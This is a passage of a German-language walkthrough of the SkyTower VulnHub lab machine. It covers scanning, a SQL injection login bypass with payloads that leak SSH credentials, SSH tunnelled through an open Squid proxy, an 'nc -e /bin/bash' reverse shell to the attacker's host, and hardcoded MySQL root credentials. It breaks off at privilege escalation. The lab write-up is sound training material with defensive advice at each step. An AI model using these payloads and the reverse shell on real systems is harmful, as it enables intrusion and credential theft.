SkyTower - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
curl
proxytunnel
nc (netcat)
ssh
find
sudo

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt in der Reconnaissance-Phase ist die Identifizierung von aktiven Hosts im lokalen Netzwerksegment. `arp-scan -l` sendet ARP-Anfragen an alle möglichen Adressen im lokalen Netz und listet die Antworten auf.
Bewertung: Dieser Befehl ist essenziell, um schnell die IP-Adresse des Zielsystems herauszufinden, ohne auf langsamere Methoden wie Ping-Sweeps angewiesen zu sein. Die Ausgabe zeigt uns die IP-Adresse `192.168.2.135` und die zugehörige MAC-Adresse, die auf eine VirtualBox-VM hinweist.
Empfehlung (Offensiv): Diese IP wird das primäre Ziel für weitere Scans.
Empfehlung (Defensiv): Netzwerksegmentierung und Monitoring von ARP-Traffic können helfen, solche Scans zu erkennen. DHCP-Snooping kann ARP-Spoofing verhindern, aber nicht das Scannen selbst.

┌──(root㉿cycat)-[~]
└─# arp-scan -l
192.168.2.135	08:00:27:f5:05:8a	PCS Systemtechnik GmbH

Analyse: Um die spätere Ansprache des Ziels zu vereinfachen und die Lesbarkeit von Befehlen und Berichten zu verbessern, wird der `/etc/hosts`-Datei auf dem Angreifer-System ein Eintrag hinzugefügt. Dies mappt die IP-Adresse `192.168.2.135` auf den Hostnamen `skytower.vln`. `vi` ist ein Texteditor, der hier zur Bearbeitung der Datei verwendet wird.
Bewertung: Dies ist eine bewährte Praxis ("Good Practice"), die die Interaktion mit dem Ziel erleichtert, besonders wenn Webserver oder andere Dienste über Hostnamen angesprochen werden müssen (z.B. bei virtuellen Hosts).
Empfehlung (Offensiv): Immer Hostnamen verwenden, wenn möglich, um Konfigurationsfehler auf dem Ziel (z.B. VHost-Routing) leichter zu identifizieren.
Empfehlung (Defensiv): Diese Aktion findet auf dem Angreifer-System statt und hat keine direkten defensiven Implikationen für das Zielsystem.

┌──(root㉿cycat)-[~]
└─# vi /etc/hosts
  192.168.2.135	skytower.vln

Analyse: Dies ist ein umfassender Nmap-Scan gegen das Ziel `skytower.vln` (192.168.2.135).

Bewertung: Der Scan identifiziert drei offene bzw. gefilterte Ports: 22 (SSH, gefiltert - möglicherweise durch eine Firewall blockiert oder erreichbar, aber nicht antwortend), 80 (HTTP, offen - Apache 2.2.22 auf Debian) und 3128 (HTTP-Proxy, offen - Squid 3.1.20). Die Apache-Version ist veraltet. Der Squid-Proxy wird als potenziell "offen" (ohne Authentifizierung) markiert. Die Betriebssystemerkennung deutet auf Linux 3.X hin. Der `-T5` Parameter ist aggressiv und kann auf produktiven Systemen Probleme verursachen oder leicht entdeckt werden.
Empfehlung (Offensiv): Die offenen Ports 80 und 3128 sind die primären Angriffsvektoren. Port 22 ist ein potenzielles Ziel, falls der Filter umgangen oder die Firewall-Regel geändert wird. Die veraltete Apache-Version und der offene Proxy sollten genauer untersucht werden.
Empfehlung (Defensiv): Port 22 sollte entweder korrekt freigegeben oder ganz geschlossen werden, wenn SSH nicht benötigt wird. Die Apache- und Squid-Versionen sollten dringend aktualisiert werden. Der Squid-Proxy sollte nicht offen sein, sondern Authentifizierung erfordern und Zugriffe nur auf erlaubte Ziele beschränken. Aggressive Scans wie `-T5` sollten durch Intrusion Detection Systems (IDS) erkannt und ggf. blockiert werden.

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.135 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-16 00:36 CEST
Nmap scan report for skytower.vln (192.168.2.135)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
3128/tcp open     http-proxy Squid http proxy 3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.20
MAC Address: 08:00:27:F5:05:8A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms skytower.vln (192.168.2.135)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.47 seconds

Analyse: Dieser Befehl wiederholt den vorherigen Nmap-Scan, filtert die Ausgabe jedoch sofort mit `grep open`, um nur die Zeilen anzuzeigen, die offene Ports enthalten.
Bewertung: Dies ist eine schnelle Methode, um die Ergebnisse eines langen Nmap-Scans auf die relevantesten Informationen (offene Ports) zu reduzieren. Es bestätigt die offenen Ports 80 (HTTP) und 3128 (HTTP-Proxy).
Empfehlung (Offensiv): Konzentration auf die Dienste auf Port 80 und 3128.
Empfehlung (Defensiv): Regelmäßige Überprüfung offener Ports und Schließen nicht benötigter Dienste ist eine grundlegende Sicherheitsmaßnahme.

┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.135 -p- | grep open
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
3128/tcp open     http-proxy Squid http proxy 3.1.20
| http-open-proxy: Potentially OPEN proxy.

Web Enumeration

Analyse: Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse prüft. Der Befehl `nikto -h 192.168.2.135` scannt den Webserver auf Port 80 der Ziel-IP.
Bewertung: Nikto liefert wertvolle Informationen:

Empfehlung (Offensiv): Die gefundene `login.php` und insbesondere die `wp-config.php#`-Datei (auch wenn es kein WordPress sein muss, der Name ist verdächtig) sind hochinteressante Ziele. Die alte Apache/PHP-Version könnte ausnutzbare Schwachstellen haben. `MultiViews` kann genutzt werden, um weitere versteckte Dateien zu finden.
Empfehlung (Defensiv): Apache und PHP dringend aktualisieren. Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.) implementieren. `MultiViews` deaktivieren, wenn nicht zwingend benötigt. Zugriff auf Standarddateien wie `/icons/README` beschränken. Sicherstellen, dass keine Backup-Dateien (wie `*.bak`, `*~`, `*#`) im Webroot liegen und über den Webserver erreichbar sind. Sensible Konfigurationsdateien niemals im Webroot speichern.

┌──(root㉿cycat)-[~]
└─# nikto -h 192.168.2.135
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.135
+ Target Hostname:    192.168.2.135
+ Target Port:        80
+ Start Time:         2023-07-16 00:37:03 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ /: Server may leak inodes via ETags, header found with file /, inode: 87, size: 1136, mtime: Fri Jun 20 13:23:36 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /login.php: Retrieved x-powered-by header: PHP/5.4.4-14+deb7u9.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8909 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-07-16 00:37:24 (GMT2) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu entdecken (Directory/File Brute-Forcing).

Bewertung: Gobuster bestätigt die bereits bekannten Dateien `index` (welches dank MultiViews zu `index.html` aufgelöst wird) und `login.php`. Zusätzlich wird `background` (und `background.jpg`) gefunden, was auf eine Bilddatei hindeutet. Es wurden keine weiteren versteckten Verzeichnisse oder kritischen Dateien durch diesen Scan aufgedeckt. Die gewählte Wortliste und die vielen Endungen sind ein guter Ansatz, aber nicht erschöpfend.
Empfehlung (Offensiv): Da Nikto bereits `login.php` als interessant markiert hat und Gobuster dies bestätigt, sollte der Fokus auf diese Datei gelegt werden. Die `-x` Option mit vielen Endungen ist gut, kann aber langsam sein; manchmal ist es effizienter, erst nach Verzeichnissen und dann gezielt nach bestimmten Dateitypen zu suchen.
Empfehlung (Defensiv): Directory Brute-Forcing ist schwer vollständig zu verhindern. Web Application Firewalls (WAFs) können helfen, solche Scans durch Ratenbegrenzung oder bekannte Signaturen zu erkennen und zu blockieren. Unnötige Dateien und Verzeichnisse sollten aus dem Webroot entfernt werden.

┌──(root㉿cycat)-[~]
└─# gobuster dir -u http://skytower.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://skytower.vln
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,txt
[+] Expanded:                true
[+] Timeout:                 10s
[+] Use slash:               false
[+] Follow Redirect:         false
[+] Quiet:                   false
[+] No error:                true
===============================================================
2023/07/15 22:39:04 Starting gobuster in directory enumeration mode
===============================================================
http://skytower.vln/index                (Status: 200) [Size: 1136]
http://skytower.vln/index.html           (Status: 200) [Size: 1136]
http://skytower.vln/login.php            (Status: 200) [Size: 21]
http://skytower.vln/background           (Status: 200) [Size: 2572609]
http://skytower.vln/background.jpg       (Status: 200) [Size: 2572609]

===============================================================
2023/07/15 22:41:11 Finished
===============================================================

Analyse: Der Pentester ruft die `login.php` Seite im Browser auf (oder simuliert dies). Die Seite zeigt "Login Failed" und im HTTP-Header wird `X-Powered-By: PHP/5.4.4-14+deb7u9` zurückgegeben.
Bewertung: Dies bestätigt, dass die Seite existiert und eine Login-Funktionalität bereitstellt. Die PHP-Version ist extrem veraltet und bekannt für zahlreiche Schwachstellen. Die Standardmeldung "Login Failed" deutet darauf hin, dass noch kein Login-Versuch unternommen wurde oder dieser fehlgeschlagen ist.
Empfehlung (Offensiv): Die Login-Seite auf Schwachstellen prüfen, insbesondere SQL-Injection, Cross-Site Scripting (XSS), Brute-Force-Angriffe und auf bekannte Schwachstellen der PHP-Version.
Empfehlung (Defensiv): PHP dringend aktualisieren. Eingabevalidierung und parametrisierte Abfragen (Prepared Statements) verwenden, um SQL-Injection zu verhindern. Implementierung von Account-Lockout-Mechanismen und Captchas gegen Brute-Force-Angriffe. Output-Encoding gegen XSS.

http://skytower.vln/login.php

Login Failed

X-Powered-By: PHP/5.4.4-14+deb7u9
                    

Analyse: Der Pentester versucht, den Squid-Proxy auf Port 3128 direkt über den Browser oder ein Tool wie `curl` anzusprechen.
Bewertung: Der Proxy liefert eine Fehlermeldung "Invalid URL". Dies liegt daran, dass ein Proxy erwartet, dass man ihm eine vollständige Ziel-URL übergibt (z.B. `http://example.com`), die er dann abruft. Ein direkter Aufruf des Proxys selbst führt zu diesem Fehler. Die Fehlermeldung bestätigt jedoch, dass der Squid-Proxy (Version 3.1.20) läuft und nennt `webmaster` als Kontakt. Der Hostname `localhost` in der Fehlermeldung (`Generated ... by localhost (squid/3.1.20)`) deutet darauf hin, dass der Proxy möglicherweise nur Anfragen für `localhost` auflösen kann oder so konfiguriert ist.
Empfehlung (Offensiv): Den Proxy verwenden, um auf andere Dienste zuzugreifen, insbesondere auf Dienste, die nur von `localhost` auf dem Zielsystem erreichbar sind (z.B. interne Webanwendungen, Datenbanken). Die Proxy-Funktionalität testen, um zu sehen, welche Art von Anfragen (HTTP, HTTPS, FTP) und welche Ziele erlaubt sind.
Empfehlung (Defensiv): Den Squid-Proxy aktualisieren. Den Zugriff auf den Proxy stark einschränken (z.B. nur aus bestimmten Netzwerken, nur für authentifizierte Benutzer). Die erlaubten Ziel-Domains (ACLs - Access Control Lists) konfigurieren, um Missbrauch zu verhindern. Fehlermeldungen sollten so generisch wie möglich sein und keine Versionsinformationen oder interne Hostnamen preisgeben.

http://skytower.vln:3128/

ERROR
The requested URL could not be retrieved

The following error was encountered while trying to retrieve the URL: /

    Invalid URL

Some aspect of the requested URL is incorrect.

Some possible problems are:

    Missing or incorrect access protocol (should be "http://" or similar)
    Missing hostname
    Illegal double-escape in the URL-Path
    Illegal character in hostname; underscores are not allowed.

Your cache administrator is webmaster.
Generated Sat, 15 Jul 2023 22:41:58 GMT by localhost (squid/3.1.20)

Initial Access

Analyse: Der `curl`-Befehl wird verwendet, um eine HTTP-Anfrage an `http://skytower.vln` zu senden, wobei der auf Port 3128 laufende Squid-Proxy als Vermittler genutzt wird (`--proxy http://skytower.vln:3128/`).
Bewertung: Der Proxy gibt einen `ERR_DNS_FAIL`-Fehler zurück. Dies bedeutet, dass der Squid-Proxy den Hostnamen `skytower.vln` nicht auflösen konnte. Das ist interessant, da der Proxy auf demselben System läuft, das wir über `skytower.vln` erreichen. Es deutet darauf hin, dass der Proxy-Server selbst möglicherweise nicht die lokale `/etc/hosts`-Datei verwendet oder eine andere DNS-Konfiguration hat. Die Fehlermeldung enthält auch die interne IP des Angreifers (`ClientIP: 192.168.2.114`) und die angefragte URL/Host.
Empfehlung (Offensiv): Versuchen, den Proxy zu verwenden, um andere interne oder externe Hosts anzusprechen. Testen, ob der Proxy IP-Adressen anstelle von Hostnamen akzeptiert. Prüfen, ob der Proxy für SSRF (Server-Side Request Forgery)-Angriffe missbraucht werden kann, um interne Systeme zu scannen oder darauf zuzugreifen.
Empfehlung (Defensiv): Die DNS-Konfiguration des Proxys überprüfen und sicherstellen, dass er nur erlaubte Namen auflösen kann. Fehlermeldungen sollten minimiert werden und keine internen IPs oder Details zur Anfrage enthalten. Den Proxy-Zugriff generell einschränken.

┌──(root㉿cycat)-[~]
└─# curl --proxy http://skytower.vln:3128/ http://skytower.vln







This means that the cache was not able to resolve the hostname presented in the URL. Check if the address is correct.

Your cache administrator is webmaster

Generated Sat, 15 Jul 2023 22:43:18 GMT by localhost (squid/3.1.20)

Proof of Concept (SQL Injection)

Schwachstelle: SQL Injection in der Login-Funktionalität (`login.php`).
Ziel des POC: Nachweis, dass durch manipulierte Eingaben in das Login-Formular die SQL-Abfrage umgangen und unautorisierter Zugriff auf Informationen erlangt werden kann.
Voraussetzungen: Zugriff auf die Webseite `http://skytower.vln/login.php`. Ein Tool wie `curl` oder ein Webbrowser mit Entwicklertools, um POST-Requests zu senden.

Schritt 1: Test auf SQL Injection (Fehlerbasiert)

Analyse: Es wird versucht, eine einfache SQL-Injection-Payload ' or 1=1-- (wahrscheinlich im Passwortfeld, möglicherweise auch im Benutzernamenfeld) an `login.php` zu senden. Das Hochkomma ' schließt den ursprünglichen String in der SQL-Abfrage. or 1=1 fügt eine Bedingung hinzu, die immer wahr ist. -- (mit einem Leerzeichen danach oft erforderlich) kommentiert den Rest der ursprünglichen SQL-Abfrage aus.
Bewertung: Der Server antwortet mit einer detaillierten MySQL-Fehlermeldung: `You have an error in your SQL syntax; check the manual... near '11' and password='' 11'' at line 1`. Dies ist ein klares Anzeichen für eine SQL-Injection-Schwachstelle. Die Fehlermeldung selbst ist sehr aufschlussreich, da sie Teile der ursprünglichen Abfrage (`password=''`) und die eingefügte Payload (`11`) zeigt. Die "11" statt "1=1" deutet darauf hin, dass die Eingabe möglicherweise weiter verarbeitet oder gefiltert wird, aber die grundlegende Schwachstelle ist bestätigt.
Empfehlung (Offensiv): Die Fehlermeldung nutzen, um die Struktur der SQL-Abfrage besser zu verstehen und die Payload anzupassen, um die Authentifizierung zu umgehen oder Daten auszulesen (z.B. mit UNION-basierten Angriffen).
Empfehlung (Defensiv): Detaillierte Fehlermeldungen in Produktionsumgebungen unbedingt deaktivieren (`display_errors = Off` in `php.ini`). Stattdessen generische Fehlermeldungen anzeigen und Fehler nur intern loggen. Parametrisierte Abfragen (Prepared Statements) verwenden, um SQL-Injection grundsätzlich zu verhindern. Eingaben validieren und sanitisieren.

http://skytower.vln/login.php (Payload: 'or 1=1--)

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11' and password='' 11'' at line 1]

Schritt 2: Umgehung der Authentifizierung

Analyse: Eine alternative SQL-Injection-Payload ' || 1=1# wird verwendet. ' schließt wieder den String. || ist der logische OR-Operator in SQL (manchmal auch `OR`). 1=1 ist immer wahr. # ist ein weiteres Zeichen, um den Rest der Abfrage auszukommentieren (ähnlich wie `--`).
Bewertung: Dieser Versuch ist erfolgreich! Statt einer Fehlermeldung oder "Login Failed" wird die Nachricht "Welcome john@skytech.com" angezeigt. Darunter folgt eine Nachricht anscheinend für den Benutzer John, die Zugangsdaten für einen SSH-Zugang enthält: Username: `john`, Password: `hereisjohn`. Dies ist ein kritischer Informationsleak, der durch die SQL-Injection ermöglicht wurde.
Ergebnis des POC: Die SQL-Injection-Schwachstelle wurde erfolgreich ausgenutzt, um die Authentifizierung zu umgehen und sensible Informationen (SSH-Zugangsdaten) zu extrahieren.
Risikobewertung: Hoch. Die Schwachstelle ermöglichte die Kompromittierung eines Benutzerkontos und den Zugriff auf weitere Systeme (SSH-Server).
Empfehlung (Offensiv): Die erbeuteten Zugangsdaten (`john`:`hereisjohn`) verwenden, um via SSH auf das System zuzugreifen.
Empfehlung (Defensiv): Sofortige Behebung der SQL-Injection-Schwachstelle durch Verwendung von Prepared Statements. Überprüfung des Codes auf weitere ähnliche Schwachstellen. Änderung des kompromittierten Passworts (`hereisjohn`) und aller anderen potenziell betroffenen Passwörter. Implementierung von Sicherheitsmaßnahmen wie WAFs. Überprüfung, warum sensible Informationen wie SSH-Passwörter direkt in der Webanwendung angezeigt werden.

http://skytower.vln/login.php (Payload: ' || 1=1#)

Welcome john@skytech.com

As you may know, SkyTech has ceased all international operations.

To all our long term employees, we wish to convey our thanks for your
dedication and hard work.

Unfortunately, all international contracts, including yours have been
terminated.

The remainder of your contract and retirement fund, $2 ,has been payed
out in full to a secure account. For security reasons, you must login to
the SkyTech server via SSH to access the account details.

Username: john
Password: hereisjohn

We wish you the best of luck in your future endeavors.

Initial Access (Fortsetzung)

Analyse: Da der Nmap-Scan zeigte, dass Port 22 (SSH) gefiltert ist, der Squid-Proxy aber offen ist, wird versucht, den SSH-Zugriff über den Proxy zu tunneln. `proxytunnel` ist ein Werkzeug, das genau dies ermöglicht.

Bewertung: Dieser Befehl startet `proxytunnel` im Hintergrund (implizit, da keine Ausgabe erfolgt und der nächste Befehl folgt). Jede Verbindung zum lokalen Port `1234` wird nun über den Squid-Proxy auf dem Zielsystem zum SSH-Dienst auf Port 22 des Zielsystems weitergeleitet. Dies umgeht effektiv den Filter/die Firewall, die den direkten Zugriff auf Port 22 verhindert.
Empfehlung (Offensiv): Den Tunnel nutzen, um sich mit den zuvor erbeuteten Credentials per SSH zu verbinden.
Empfehlung (Defensiv): Den offenen Proxy schließen oder stark absichern (Authentifizierung, ACLs). Monitoring des Proxy-Traffics auf ungewöhnliche Verbindungen (z.B. zu Port 22). Firewall-Regeln überprüfen und sicherstellen, dass sie wie erwartet funktionieren.

┌──(root㉿cycat)-[~]
└─# proxytunnel -p 192.168.2.135:3128 -d 127.0.0.1:22 -a 1234

Analyse: Mit dem aktiven `proxytunnel` wird nun versucht, sich per SSH als Benutzer `john` zu verbinden. Das Ziel ist `127.0.0.1` (das lokale Ende des Tunnels) auf Port `1234` (der Port, den `proxytunnel` geöffnet hat).
Bewertung: Die Verbindung wird aufgebaut. SSH fragt nach Bestätigung des Host-Schlüssels (da es die erste Verbindung ist) und anschließend nach dem Passwort. Das zuvor durch SQL-Injection erbeutete Passwort `hereisjohn` wird eingegeben. Der Login ist erfolgreich, aber die Sitzung wird sofort wieder geschlossen ("Connection to 127.0.0.1 closed."). Die Willkommensnachricht "Funds have been withdrawn" deutet darauf hin, dass möglicherweise ein Skript oder eine Shell-Einschränkung aktiv ist, die nur eine bestimmte Aktion erlaubt oder die Sitzung nach kurzer Zeit beendet.
Empfehlung (Offensiv): Untersuchen, warum die Verbindung sofort geschlossen wird. Versuchen, direkt einen Befehl bei der SSH-Verbindung anzugeben (z.B. `ssh user@host command`), um die Standard-Login-Shell zu umgehen. Versuchen, eine interaktive Shell wie `/bin/bash` explizit anzufordern.
Empfehlung (Defensiv): Die Konfiguration der Benutzer-Shells und eventueller ForceCommand-Einstellungen in der SSH-Konfiguration (`sshd_config`) überprüfen. Sicherstellen, dass Benutzer nur die benötigten Berechtigungen und Shell-Zugriffe haben. Das kompromittierte Passwort ändern.

┌──(root㉿cycat)-[~]
└─# ssh john@127.0.0.1 -p 1234
The authenticity of host '[127.0.0.1]:1234 ([127.0.0.1]:1234)' can't be established.
ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:1234' (ECDSA) to the list of known hosts.
john@127.0.0.1's password: hereisjohn
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014

Funds have been withdrawn
Connection to 127.0.0.1 closed.

Analyse: Basierend auf der vorherigen Beobachtung wird nun versucht, direkt beim SSH-Login eine interaktive Shell (`/bin/bash`) anzufordern. Dies soll die Standard-Login-Prozedur umgehen, die die Verbindung sofort beendet hat.
Bewertung: Der erste Versuch schlägt fehl ("Permission denied"). Es ist unklar, warum - vielleicht wurde das Passwort falsch eingegeben, oder es gibt eine zusätzliche Einschränkung. Beim zweiten Versuch (Passwort erneut eingegeben) klappt es! Der Pentester erhält eine Shell als Benutzer `john`. Die Befehle `id` und `ls -la` bestätigen den Benutzerkontext (`uid=1000(john)`) und zeigen den Inhalt des Home-Verzeichnisses von John an.
Ergebnis: Erfolgreicher Initial Access! Eine interaktive Shell auf dem Zielsystem als Benutzer `john` wurde erlangt.
Empfehlung (Offensiv): Das System weiter enumerieren: Betriebssystem-Version, installierte Software, Benutzer, Berechtigungen (insbesondere SUID/GUID-Dateien, sudo-Rechte), Netzwerkkonfiguration, laufende Prozesse, Cronjobs etc. Nach Möglichkeiten zur Privilegieneskalation suchen.
Empfehlung (Defensiv): Untersuchen, warum der erste Login-Versuch mit `/bin/bash` fehlschlug. Die SSH-Konfiguration und PAM-Module (Pluggable Authentication Modules) überprüfen. Sicherstellen, dass Benutzer nur die minimal notwendigen Rechte haben. Intrusion Detection auf dem Host aktivieren, um ungewöhnliche Aktivitäten nach dem Login zu erkennen.

┌──(root㉿cycat)-[~]
└─# ssh john@127.0.0.1 -p 1234 /bin/bash
john@127.0.0.1's password:
Permission denied, please try again.
john@127.0.0.1's password: hereisjohn
id
uid=1000(john) gid=1000(john) groups=1000(john)
ls
ls -la
total 24
drwxr-x--- 2 john john 4096 Jun 20  2014 .
drwxr-xr-x 5 root root 4096 Jun 20  2014 ..
-rw------- 1 john john    7 Jun 20  2014 .bash_history
-rw-r--r-- 1 john john  220 Jun 20  2014 .bash_logout
-rw-r--r-- 1 john john 3437 Jun 20  2014 .bashrc
-rw-r--r-- 1 john john  675 Jun 20  2014 .profile

Analyse: Der Pentester prüft, ob das `nc` (netcat) Tool auf dem Zielsystem verfügbar ist und wo es sich befindet.
Bewertung: `which nc` gibt `/bin/nc` zurück. Netcat ist vorhanden. Dies ist nützlich, da `nc` oft für den Aufbau von Reverse Shells oder zum Übertragen von Dateien verwendet wird.
Empfehlung (Offensiv): Netcat für eine stabilere Reverse Shell oder zum Exfiltrieren/Infiltrieren von Daten verwenden.
Empfehlung (Defensiv): Die Installation von Netzwerk-Tools wie `netcat` auf Servern einschränken, wenn sie nicht für den normalen Betrieb benötigt werden. Host-basierte Firewalls können ausgehende Verbindungen von unerwarteten Prozessen blockieren.

which nc
/bin/nc

Analyse: Auf dem Angreifer-System (`root@cycat`) wird ein Netcat-Listener auf Port 5555 gestartet (`nc -lvnp 5555`). Er wartet auf eingehende Verbindungen.
Bewertung: Dies bereitet den Empfang einer Reverse Shell vor.
Empfehlung (Offensiv): Sicherstellen, dass die Firewall auf dem Angreifer-System eingehende Verbindungen auf Port 5555 erlaubt.
Empfehlung (Defensiv): Nicht direkt anwendbar auf das Zielsystem.

┌──(root㉿cycat)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...

Analyse: Auf dem Zielsystem (in der Shell als `john`) wird `nc` verwendet, um eine Verbindung zum Angreifer-System (`192.168.2.114` auf Port `5555`) herzustellen und die Standard-Ein/Ausgabe der Bash-Shell (`/bin/bash`) an diese Verbindung zu binden (`-e /bin/bash`).
Bewertung: Dies ist ein klassischer Reverse-Shell-Befehl. Er stellt eine ausgehende Verbindung vom kompromittierten System zum Angreifer her und gibt dem Angreifer eine interaktive Shell.
Empfehlung (Offensiv): Die nun auf dem Listener (siehe vorheriger Schritt) empfangene Shell nutzen. Oft ist es sinnvoll, die Shell mit Python oder `script` zu "stabilisieren" (für Funktionalität wie Tab-Completion, History etc.).
Empfehlung (Defensiv): Ausgehende Verbindungen vom Server auf das Notwendigste beschränken (Egress Filtering). Die Verwendung von `nc -e` kann durch AppArmor, SELinux oder andere Host-basierte Kontrollen verhindert werden. Prozess-Monitoring kann das Starten von Shells durch unerwartete Prozesse erkennen.

nc -e /bin/bash 192.168.2.114 5555

Analyse: Die Ausgabe auf dem Netcat-Listener des Angreifers. Sie zeigt, dass eine Verbindung vom Zielsystem (`192.168.2.135`, Port 45500) eingegangen ist.
Bewertung: Fantastisch! Die Reverse Shell wurde erfolgreich etabliert. Der Angreifer hat nun eine interaktive Shell auf dem Zielsystem als Benutzer `john` über Netcat, was oft stabiler ist als die direkte SSH-Shell, die zuvor Probleme machte.
Empfehlung (Offensiv): Mit der Enumeration und Suche nach Privilegieneskalationsvektoren fortfahren.
Empfehlung (Defensiv): Siehe vorherige defensive Empfehlung zu Reverse Shells (Egress Filtering, HIDS, etc.).

┌──(root㉿cycat)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.114] from (UNKNOWN) [192.168.2.135] 45500

Analyse: Innerhalb der Reverse Shell wechselt der Pentester in das Webserver-Verzeichnis `/var/www` und listet dessen Inhalt auf.
Bewertung: Es finden sich die bereits bekannten Dateien `background.jpg`, `index.html` und `login.php`. Zusätzlich gibt es eine `background2.jpg`. Dies bestätigt den Web-Root-Pfad.
Empfehlung (Offensiv): Den Inhalt von `login.php` untersuchen, um die SQL-Abfrage und mögliche weitere Schwachstellen zu verstehen. Prüfen, ob Schreibrechte im Web-Verzeichnis bestehen.
Empfehlung (Defensiv): Sicherstellen, dass Webserver-Prozesse und Benutzer wie `john` keine unnötigen Lese- oder Schreibrechte außerhalb ihrer vorgesehenen Verzeichnisse haben.

cd /var/www
ls
background2.jpg
background.jpg
index.html
login.php

Analyse: Der Inhalt der Datei `login.php` wird ausgegeben.
Bewertung: Der Code-Ausschnitt zeigt, wie die Datenbankverbindung hergestellt wird: `new mysqli('localhost', 'root', 'root', 'SkyTech');`. Dies ist ein kritischer Fund! Die Anwendung verbindet sich mit der lokalen MySQL-Datenbank als Benutzer `root` mit dem Passwort `root`. Dies sind die Zugangsdaten für den Datenbank-Root-Benutzer.
Empfehlung (Offensiv): Versuchen, sich direkt mit diesen Zugangsdaten (`root`:`root`) auf dem MySQL-Server anzumelden. Datenbanken und Tabellen auf weitere sensible Informationen oder Möglichkeiten zur Codeausführung (z.B. UDFs - User Defined Functions) untersuchen.
Empfehlung (Defensiv): Niemals Hardcoded Credentials im Quellcode speichern! Datenbank-Zugangsdaten sollten in separaten Konfigurationsdateien mit restriktiven Berechtigungen liegen. Dem Webserver-Prozess bzw. der Anwendung sollte ein dedizierter Datenbankbenutzer mit minimalen Rechten zugewiesen werden, anstatt den `root`-Benutzer zu verwenden. Das Passwort `root` ist extrem unsicher und muss sofort geändert werden.

cat login.php
root', 'SkyTech');

if($db->connect_errno > 0){
    die('Unable to connect to database [' . $db->connect_error . ']');
}

// ... rest of the code ...
?>

Privilege Escalation

Analyse: Der Pentester wechselt zurück in Johns Home-Verzeichnis und listet den Inhalt detailliert auf. Anschließend wird versucht, die `.bash_history` anzuzeigen und ein `.ssh`-Verzeichnis zu erstellen.
